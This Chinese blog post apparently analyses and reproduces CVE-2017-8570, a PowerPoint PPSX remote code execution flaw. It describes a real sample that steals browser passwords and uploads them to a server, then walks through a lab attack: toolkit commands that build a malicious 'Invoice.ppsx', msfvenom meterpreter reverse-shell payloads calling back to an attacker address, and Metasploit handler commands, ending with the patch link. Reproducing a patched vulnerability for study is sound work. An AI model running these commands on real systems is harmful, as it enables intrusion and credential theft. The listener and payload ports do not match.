"沙虫" 二代CVE-2017-8570漏洞复现【附视频】
漏洞描述:
2017年7月,微软在例行的月度补丁中修复了多个Microsoft Office漏洞,其中一个编号为CVE-2017-8570的漏洞引起了金睛安全研究团队的注意。2017年7月下旬,我们监测到有国外黑客在github上上传了CVE-2017-8570漏洞的利用代码,但随即删除;7月29日,我们监测到多个利用该漏洞的恶意文件开始在互联网上传播。
CVE-2017-8570漏洞是一个逻辑漏洞,利用方法简单,影响范围广。由于该漏洞和三年前的SandWorm(沙虫)漏洞非常类似,因此我们称之为“沙虫”二代漏洞。
截至2017年8月15日为止,相关样本仅有2家杀软可以检测。
样本检测结果:http://r.virscan.org/report/6972df600c4091e5a9e880943ade1b74(PS:于2017-08-15日20:03时检测)
漏洞编号:
CVE-2017-8570
漏洞影响:
Microsoft Office 2007 Service Pack 3 Microsoft Office 2010 Service Pack 2 (32-bit editions) Microsoft Office 2010 Service Pack 2 (64-bit editions) Microsoft Office 2013 RT Service Pack 1 Microsoft Office 2013 Service Pack 1 (32-bit editions) Microsoft Office 2013 Service Pack 1 (64-bit editions) Microsoft Office 2016 (32-bit edition) Microsoft Office 2016 (64-bit edition)
样本分析:
MD5 | c******************************b |
文件类型 | PPSX |
文件大小 | 32.2KB |
该漏洞为Microsoft Office的一个远程代码执行漏洞。其成因是Microsoft PowerPoint执行时会初始化“Script”Moniker对象,而在PowerPoint播放动画期间会激活该对象,从而执行sct脚本(Windows Script Component)文件。
1.查看样本内部的ppt\slides\_rels\slide1.xml.rels文件,可以发现其中Id为rId3的是一个OLE对象,指向一个外部链接。
2.该链接指向一个远程服务器上的sct脚本文件,其内容如下,主要功能是通过powershell下载文件。
3.查看ppt\slides\slide1.xml文件,其中rId3被定义为一个“link”对象,并设置了“verb”行为。“verb”的功能是在PowerPoint播放动画时激活这个对象,从而执行远程下载的脚本文件。
4.当打开恶意PPSX文件时会触发漏洞,从远程服务器下载的sct脚本得以执行,sct脚本执行后,会运行恶意powershell脚本。
5. 恶意powershell脚本会下载一个名为download.exe的木马下载器。download.exe随即下载一个名为Vine.exe的程序。
6. Vine.exe具有获取Chrome和Firefox中保存的账号密码信息的功能,并将其保存到本地文件中。之后由download.exe将其结果上传到黑客服务器。
利用分析:
0x01
0x02
复现环境:
靶机:Windows 10
IP:192.168.1.117
Office版本:Microsoft Office 2010
攻击机器:Linux SecFree 4.9.0-kali3-amd64
IP:192.168.1.140
metasploit版本: v4.14.28-dev
0x03
利用exp生产恶意的ppsx文件
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.1.140/logo.doc
利用msfvenom生成反弹shell的木马
生成针对x64位系统 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.140 LPORT=6666 -f exe > shell.exe
生成针对32位系统 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.140 LPORT=6666 -f exe > shell.exe
使用EXP监听会话:监听目标打开的Invoice.ppsx执行的shell.exe
python cve-2017-8570_toolkit.py -M exp -e http://192.168.1.140/shell.exe -l shell.exe
再使用msf监听 exp执行的shell.exe,也就是目标打开Invoice.ppsx也就执行了shell.exe。
~ msfconsole msf > use exploit/multi/handler msf > set LHOST 192.168.1.140 msf > set LPORT 7777 64位系统 msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp 32位系统 msf > set PAYLOAD windows/meterpreter/reverse_tcp msf > exploit
靶机打开Invoice.ppsx
打开之后看到已反弹回来了shell
视频演示:
修复方案:
请及时更新并安装微软2017年7月发布的补丁。
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570
说明:
作者:Bearcat 微信1797002238 加作者微信拉进指尖安全微信群